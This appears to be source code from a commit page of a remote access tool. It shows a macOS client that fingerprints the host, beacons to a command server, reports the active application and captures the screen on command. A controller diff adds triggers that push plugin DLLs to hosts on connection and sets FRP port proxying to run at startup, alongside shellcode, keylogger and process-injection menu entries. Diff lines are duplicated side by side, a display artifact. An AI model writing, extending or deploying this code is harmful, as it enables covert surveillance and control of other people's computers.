if (_NSGetExecutablePath(path, &size) == 0) {
return std::string(path);
}
return "";
}
// Get current time string (Beijing time, UTC+8)
static std::string getTimeString()
{
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
NSString* dateString = [formatter stringFromDate:[NSDate date]];
return std::string([dateString UTF8String]);
}
// Get active application name
static std::string getActiveApp()
{
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) {
NSString* name = [app localizedName];
if (name) {
return std::string([name UTF8String]);
}
}
return "";
}
// ============== Check if camera exists ==============
static bool hasCameraDevice()
{
// Most MacBooks have built-in FaceTime camera
// Check model identifier to determine if it's a MacBook
char model[256] = {};
size_t size = sizeof(model);
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
std::string modelStr(model);
// MacBooks (Air/Pro) always have cameras
if (modelStr.find("MacBook") != std::string::npos) {
return true;
}
// iMac also has camera
if (modelStr.find("iMac") != std::string::npos) {
return true;
}
}
// Mac Mini and Mac Pro typically don't have built-in cameras
return false;
}
// ============== Public IP ==============
// Execute command and return output
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// Trim trailing whitespace
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET using curl (macOS has curl built-in)
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
}
// Get public IP (try multiple sources)
static std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// Validate: non-empty, contains dot, reasonable length
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
return ip;
}
}
NSLog(@"getPublicIP: all sources failed");
return "";
}
// ============== Install Time (persistent storage) ==============
static std::string getInstallTime()
{
@autoreleasepool {
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
if (installTime == nil || [installTime length] == 0) {
// First run - record current time as install time
std::string currentTime = getTimeString();
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
[defaults setObject:installTime forKey:@"ghost_install_time"];
[defaults synchronize];
NSLog(@"First run - recorded install time: %@", installTime);
}
return std::string([installTime UTF8String]);
}
}
// ============== Fill LOGIN_INFOR ==============
static void fillLoginInfo(LOGIN_INFOR& info)
{
// Token is set in constructor
info.bToken = TOKEN_LOGIN;
// OS Version
std::string osVer = getMacOSVersion();
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname)
std::string hostname = getHostname();
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
// Start time (current session start)
std::string startTime = getTimeString();
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
// Reserved fields (pipe-separated, must match Windows client order)
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
// 1. Client type (use GetClientType for consistency with Windows client)
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
// 2. System bits (OS bits, always 64 on modern macOS)
info.AddReserved(64);
// 3. CPU cores
info.AddReserved(getCPUCores());
// 4. Memory (GB)
info.AddReserved(getMemoryGB());
// 5. File path (executable path)
std::string exePath = getExecutablePath();
info.AddReserved(exePath.c_str());
// 6. Placeholder
info.AddReserved("?");
// 7. Install time (first run time, persistent)
std::string installTime = getInstallTime();
info.AddReserved(installTime.c_str());
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
info.AddReserved(startTime.c_str());
// 9. Program bits (always 64 on modern macOS)
info.AddReserved(64);
// 10. Authorization info (placeholder)
info.AddReserved("");
// 11. Location (placeholder, could add GeoIP later)
info.AddReserved("");
// 12. Public IP
std::string pubIP = getPublicIP();
info.AddReserved(pubIP.c_str());
// 13. Version
info.AddReserved("1.0.0");
// 14. Current username
std::string username = getUsername();
info.AddReserved(username.c_str());
// 15. Is running as root
info.AddReserved(getuid() == 0 ? 1 : 0);
// 16. Screen resolution (format: count:widthxheight)
std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str());
// 17. Client ID (calculated from system info, same algorithm as server)
// Format: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
osVer + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
info.AddReserved(std::to_string(g_myClientID).c_str());
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
}
// ============== Signal Handling ==============
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_running = false;
}
static void setupSignals()
{
signal(SIGTERM, signalHandler);
signal(SIGINT, signalHandler);
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
}
// ============== Main Entry Point ==============
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return NULL;
}
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// Log at most once per minute
static uint64_t lastLogTime = 0;
if (now - lastLogTime >= 60000) {
lastLogTime = now;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
int main(int argc, const char* argv[])
{
(void)argc;
(void)argv;
@autoreleasepool {
NSLog(@"=== macOS Ghost Client ===");
// Setup signal handlers
setupSignals();
// Check permissions
NSLog(@"Checking permissions...");
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
Permissions::openScreenCaptureSettings();
}
if (!Permissions::checkAccessibility()) {
NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility();
}
// FDA check is unreliable (no official API), just log a warning
if (!Permissions::checkFullDiskAccess()) {
NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable
}
// Create client
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
// Main event loop
NSLog(@"Starting main loop...");
LOGIN_INFOR logInfo;
fillLoginInfo(logInfo);
while (g_running) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp();
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
}
NSLog(@"Shutting down...");
}
return 0;
}

Binary file not shown.

View File

@@ -69,6 +69,8 @@
#include "NotifyManager.h" #include "NotifyManager.h"
#include "NotifySettingsDlg.h" #include "NotifySettingsDlg.h"
#include "FrpsForSubDlg.h" #include "FrpsForSubDlg.h"
#include "PluginSettingsDlg.h"
#include "TriggerSettingsDlg.h"
#include "common/key.h" #include "common/key.h"
#include "UIBranding.h" #include "UIBranding.h"
@@ -345,7 +347,8 @@ bool IsDll64Bit(BYTE* dllBase)
} }
// 返回:读取的字节数组指针(需要手动释放) // 返回:读取的字节数组指针(需要手动释放)
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD }) DllInfo* ReadPluginDll(const std::string& filename,
const DllExecuteInfo& execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD, {}, {}, 0, 0, sizeof(DllExecuteInfo)})
{ {
// 打开文件(以二进制模式) // 打开文件(以二进制模式)
std::ifstream file(filename, std::ios::binary | std::ios::ate); std::ifstream file(filename, std::ios::binary | std::ios::ate);
@@ -413,7 +416,7 @@ DllInfo* ReadTinyRunDll(int pid)
} }
// 设置输出参数 // 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize); auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid }; DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid, 0, sizeof(DllExecuteInfo)};
memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length()); memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize]; BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
@@ -433,7 +436,7 @@ DllInfo* ReadFrpcDll(int callType)
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数 // 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize); auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType }; DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
memcpy(info.Name, name.c_str(), name.length()); memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length()); memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize]; BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
@@ -588,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL); m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH); m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE); m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
// New menu icons
m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER);
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
@@ -604,6 +611,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_tinyDLL = NULL; m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins"); auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end()); m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
// 应用插件配置(从 JSON 文件加载并更新 DllExecuteInfo 参数)
CPluginSettingsDlg::PatchDllList(m_DllList);
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000); m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
} }
@@ -821,6 +830,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin) ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin) ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
@@ -851,6 +862,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub) ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare) ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl) ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -919,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]); m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]); m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
// Tools menu // Tools menu
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]); m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
@@ -937,9 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]); m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]); m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]); m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]); m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]); m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]); m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]);
// Help menu // Help menu
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]); m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]); m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
@@ -5254,6 +5269,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} else if (std::string(info->Name) == FRPC_DLL_NAME) { } else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll(info->CallType); auto frpc = ReadFrpcDll(info->CallType);
Buffer* buf = frpc->Data; Buffer* buf = frpc->Data;
DllExecuteInfo* target = frpc->GetInfo();
target->Schedule.Mode = info->Schedule.Mode;
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留 // 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
if (cmd == CMD_EXECUTE_DLL_NEW) { if (cmd == CMD_EXECUTE_DLL_NEW) {
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1); DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
@@ -5474,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
auto v = LoginInfor->ParseReserved(RES_MAX); auto v = LoginInfor->ParseReserved(RES_MAX);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor; delete LoginInfor;
// 执行主机上线触发器
ExecuteOnlineTrigger(ContextObject);
return S_OK; return S_OK;
} catch(...) { } catch(...) {
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str()); Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
@@ -8478,6 +8499,61 @@ void CMy2015RemoteDlg::OnToolReloadPlugins()
m_DllList = ReadAllDllFilesWindows(path); m_DllList = ReadAllDllFilesWindows(path);
} }
void CMy2015RemoteDlg::OnToolPluginSettings()
{
CPluginSettingsDlg dlg(m_DllList, this);
dlg.DoModal();
}
void CMy2015RemoteDlg::OnTriggerSettings()
{
if (m_DllList.empty()) {
MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION);
return;
}
CTriggerSettingsDlg dlg(m_DllList, this);
dlg.DoModal();
}
void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
{
if (!ctx || m_DllList.empty()) return;
// 快速检查是否有上线触发器使用缓存无磁盘IO
if (!TriggerManager::Instance().HasOnlineTrigger()) {
return;
}
// 获取触发器插件列表(从缓存获取)
auto pluginNames = TriggerManager::Instance().GetOnlinePlugins();
if (pluginNames.empty()) {
return;
}
Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str());
// 遍历触发器配置的插件列表
for (const auto& pluginName : pluginNames) {
// 查找对应的 DLL
DllInfo* targetDll = nullptr;
for (auto& dll : m_DllList) {
if (dll && dll->Name == pluginName) {
targetDll = dll;
break;
}
}
if (!targetDll || !targetDll->Data) {
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
continue;
}
// 发送 DLL 到客户端
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
}
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{ {
CString clientIP(ip.c_str()); CString clientIP(ip.c_str());
@@ -8734,7 +8810,7 @@ std::string GetAuthKey(const char* token, long long timestamp)
// 基于FRP将客户端端口代理到主控程序的公网 // 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口即可通过 mstsc.exe 进行远程访问 // 例如代理3389端口即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun)
{ {
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
std::string pwd = THIS_CFG.GetStr("frp", "token", ""); std::string pwd = THIS_CFG.GetStr("frp", "token", "");
@@ -8763,6 +8839,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput); int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
DllExecuteInfo* info = frpc->GetInfo();
info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE;
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort); FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
@@ -8808,6 +8886,11 @@ void CMy2015RemoteDlg::OnProxyPort()
} }
void CMy2015RemoteDlg::OnProxyPortAutorun()
{
ProxyClientTcpPort(false, true);
}
void CMy2015RemoteDlg::OnProxyPortStd() void CMy2015RemoteDlg::OnProxyPortStd()
{ {
